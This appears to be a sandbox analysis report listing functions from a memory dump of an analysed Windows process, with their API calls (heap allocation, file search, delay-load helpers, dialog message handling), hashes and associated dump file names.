Instruction ID: e20cea6c7c670074d7dd4ea346bb8a4882e3d8a78f5535df46d8c1d21d5e6ec1
Opcode Fuzzy Hash: 891f940218829ec52d42be67e2e6cdc7f86e6c5f6491809c2982898f2c91c94c
Instruction Fuzzy Hash: 94119133A006655F9B21DE29DC518EB77A59BD433071A4232FE55EB254DB70EC418BF0

Function 00D2A475 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D2A47A

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: bafaa87c0419b27f9df33429e14dbfd4e149989ca84568695ee24ab657b046eb
Instruction ID: 09102a77ae83ad0e96bb1d9e1c54207e189fb8ce02cbf941474b3352de9c4735
Opcode Fuzzy Hash: bafaa87c0419b27f9df33429e14dbfd4e149989ca84568695ee24ab657b046eb
Instruction Fuzzy Hash: 8A11C432900539978B11EE6CE8859AEB775EF54708F05411AF819A7201DB74DC0286B1

Function 00D3EBA2 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D3EBA7

Part of subcall function 00D31983: _wcslen.LIBCMT ref: 00D31999

Part of subcall function 00D28823: __EH_prolog.LIBCMT ref: 00D28828

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: 9055bbdd6560930b5f706734063a67b0ef25026ac2a9c8b98cbe91daaa0cef5e
Instruction ID: 55a3d36f4cd5e6e10c8044d1927bc6a880cae12972798396f64af5ec5f9fdd71
Opcode Fuzzy Hash: 9055bbdd6560930b5f706734063a67b0ef25026ac2a9c8b98cbe91daaa0cef5e
Instruction Fuzzy Hash: 8911B2325093949ED740AB68AC06B987FB4EB24314F00805EE55C92392EFB156888F72

Function 00D4D639 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00D4C2F6: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00D4A543,00000001,00000364,?,00D45281,00000050,?,00D63070,00000200), ref: 00D4C337

_free.LIBCMT ref: 00D4D6A5

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 7d30b6ea8507d2c13b34e354a80f4644266152c8881b27fa68bdf41323802f68
Instruction ID: 03170dc060fd0d2279df1d8cd916b804502ef9d3b6cf0e9abb39e8887c9e70ea
Opcode Fuzzy Hash: 7d30b6ea8507d2c13b34e354a80f4644266152c8881b27fa68bdf41323802f68
Instruction Fuzzy Hash: BA01FE732003499BE3218F59DC41D5AFBD9FB95370F2A051DE5D8532C0E670A905C778

Function 00D4C2F6 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00D4A543,00000001,00000364,?,00D45281,00000050,?,00D63070,00000200), ref: 00D4C337

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 04e0fa9716089f5d7a694caa326efc08f3d52fb1b82edf958a435869ba6a7f02
Instruction ID: dd8f2e487d3f52cedc7c643e7f6b341b798fa53f51daeefbcb0d408dabe37a81
Opcode Fuzzy Hash: 04e0fa9716089f5d7a694caa326efc08f3d52fb1b82edf958a435869ba6a7f02
Instruction Fuzzy Hash: 93F0E232626224A7DFB11F2AAC0AB5B3788DF817A1B18E021FC48E7190DA20DD0092F5

Function 00D4A7FE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00D4DBEC,00000000,?,00D480B1,?,00000008,?,00D4A871,?,?,?), ref: 00D4A830

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cdf851283bfd71f64c62eb3301a72b5b965cc262efca0f9e318769a46da2ba28
Instruction ID: 32c9e3bed2f919e7eb4eed419c3a6191f6478cdadb8dc07b29eacc99e2b73275
Opcode Fuzzy Hash: cdf851283bfd71f64c62eb3301a72b5b965cc262efca0f9e318769a46da2ba28
Instruction Fuzzy Hash: B7E06D7228422257E631266EAC01B6B3A88DB527A1F190120BC4596292DB22CC12C3F7

Function 00D2B966 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 00D2BA94: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00D2B98B,000000FF,?,?), ref: 00D2BABD
Part of subcall function 00D2BA94: FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,00D2B98B,000000FF,?,?), ref: 00D2BAEB
Part of subcall function 00D2BA94: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00D2B98B,000000FF,?,?), ref: 00D2BAF7

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00D2B991

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 69316ecf03234db681889c7b724df886d24e27eca3cb3f41b0ae59be4a293bf0
Instruction ID: 15168e151eb7e2c9183e30684db09129e19b18feea203a9ac2e5351d1e29a408
Opcode Fuzzy Hash: 69316ecf03234db681889c7b724df886d24e27eca3cb3f41b0ae59be4a293bf0
Instruction Fuzzy Hash: 5EF089310087A0AACB2217B468057D77B909F3A33DF148A4AF2FD522D2C3F450D59B32

Function 00D32128 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00D3215D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: e8f87a69511e5a552f1a340dd8da7665537cf8aa28df1dc4e579ba0ec36f6746
Instruction ID: 9e19eb92f12f59b2b993bceb3e21e8fb251693437649557c6598b03c095b0122
Opcode Fuzzy Hash: e8f87a69511e5a552f1a340dd8da7665537cf8aa28df1dc4e579ba0ec36f6746
Instruction Fuzzy Hash: 41D05B21F1822053DB66373C7856BFD1A569FD6329F1D00A6F609673D3CB54094792B2

Function 00D3B636 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00D3B63C

Part of subcall function 00D3B3C8: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00D3B3E9

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 67c6c0b1a9f8045d953eebf11179e7c179da5fb7bf356439fdf6af47a3be8cb5
Instruction ID: 2fb81b186717857837e8821cf54dc7dbe00918d585523b133a9ca9707f911ce1
Opcode Fuzzy Hash: 67c6c0b1a9f8045d953eebf11179e7c179da5fb7bf356439fdf6af47a3be8cb5
Instruction Fuzzy Hash: 47D0C73061420976DF416B619C03A7E7695DB10354F008137BA4599191EBB1D9605575

Function 00D3F747 Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 00D3F76F

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: 5b962bc4875a070ccbff94875e0209e95be48430defe6f0b7ff55258e44ac26d
Instruction ID: 0cf3d7c3546a66236ae77106862029f68fa18bd1a5ff0c49ea53ce86c8c60648
Opcode Fuzzy Hash: 5b962bc4875a070ccbff94875e0209e95be48430defe6f0b7ff55258e44ac26d
Instruction Fuzzy Hash: 70D012B0D5030C9DC211EB349C4672822A8F30CB19F540531F5C9C23A1C7E0A544CB71

Function 00D3EEBD Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00D32E88), ref: 00D3EEE2

Part of subcall function 00D3C758: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D3C769
Part of subcall function 00D3C758: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D3C77A
Part of subcall function 00D3C758: IsDialogMessageW.USER32(000204C8,?), ref: 00D3C78E
Part of subcall function 00D3C758: TranslateMessage.USER32(?), ref: 00D3C79C
Part of subcall function 00D3C758: DispatchMessageW.USER32(?), ref: 00D3C7A6

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: abce4a3a6fd16878e9a278904e4113d8eba3085f986fb3732c409c658a9c5c21
Instruction ID: 4ed2f77e3407021ca808e7a8b3e040744c5df69203a4508369021ac397c494c1
Opcode Fuzzy Hash: abce4a3a6fd16878e9a278904e4113d8eba3085f986fb3732c409c658a9c5c21
Instruction Fuzzy Hash: DFD09E76154340AADA022B51DD06F0A7AE2FB98B05F005554B289740F1C6A29D21AF32

Function 00D2AB1C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00D2AA1E), ref: 00D2AB28

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 09fd1bb40e7f7d4bf2f4fab5a3491ef902283a9e2d2f34edf4fe6c8514059250
Instruction ID: 002d2ec029d8e5edc70526c9aa9f47c3322b1a56f7c3ec7af29564138bd8ef9d
Opcode Fuzzy Hash: 09fd1bb40e7f7d4bf2f4fab5a3491ef902283a9e2d2f34edf4fe6c8514059250
Instruction Fuzzy Hash: 6AC01234400215874E300A2CB8540557623EB623BE7B89395C074C50A1C3228C83E523

Function 00D3F3DC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a7d1b2d273c03ce22502c7c6cdd12ced7e390c65ecae31e86b3dc7b77fba3730
Instruction ID: b18ce296aff615ca80aa4e54f7bef2c9cbac6e17010bd85e41c44da7cf418f01
Opcode Fuzzy Hash: a7d1b2d273c03ce22502c7c6cdd12ced7e390c65ecae31e86b3dc7b77fba3730
Instruction Fuzzy Hash: ECB0129166B6067D3684A3143C17F3A121DC4C0F11B30413FF840C0140D4404C495731

Function 00D3F3C8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b2041ff0c2ea8cada6889c647e0856b5014bdff4d68c131b3f64a834335499dc
Instruction ID: bd099bc27a1c97aef5e99984999617687bd190671faa8eba8df1838d71997c9f
Opcode Fuzzy Hash: b2041ff0c2ea8cada6889c647e0856b5014bdff4d68c131b3f64a834335499dc
Instruction Fuzzy Hash: A9B012916691067D3644A3153C07F3A121DC4C0F11730403FF840C4144D4404D095631

Function 00D3F396 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f0709efe9864db7c3041343d4e6878101c498f02537c51e406ca9312b71631b0
Instruction ID: e4a43d2d36f1255f715bbf00dd7380536ae71491a28bf63ccf80d7d66f849214
Opcode Fuzzy Hash: f0709efe9864db7c3041343d4e6878101c498f02537c51e406ca9312b71631b0
Instruction Fuzzy Hash: D6B012856691067D3644A3143D07F3E121CC4C0B11730803FF845C4240D4904D0E5631

Function 00D3F382 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 17c5c7b8c227d09dc57b9e3ea843f707541fba388d59b4fb0d2420de7325e082
Instruction ID: e98d884fcb3a5a4ef46e4bf79801181afa874193116f425340e10e11f00c3962
Opcode Fuzzy Hash: 17c5c7b8c227d09dc57b9e3ea843f707541fba388d59b4fb0d2420de7325e082
Instruction Fuzzy Hash: C1B012816691067D3644A3143C07F3E161CC4C0B11730C03FFC45C0240D4404C0D5631

Function 00D3F38C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1ff7f5ee10112476bc97999c8685778ab48b1b0ddeb7244a01949ae491b5c73a
Instruction ID: b34d987bc05c696ebf7d318b95fe6a25056fa31499c293b9ae32efbcac9583c9
Opcode Fuzzy Hash: 1ff7f5ee10112476bc97999c8685778ab48b1b0ddeb7244a01949ae491b5c73a
Instruction Fuzzy Hash: 7CB012816692067D3684A3143C07F3E121CC4C0B11730813FF845C0240D4404C4D5731

Function 00D3F3BE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
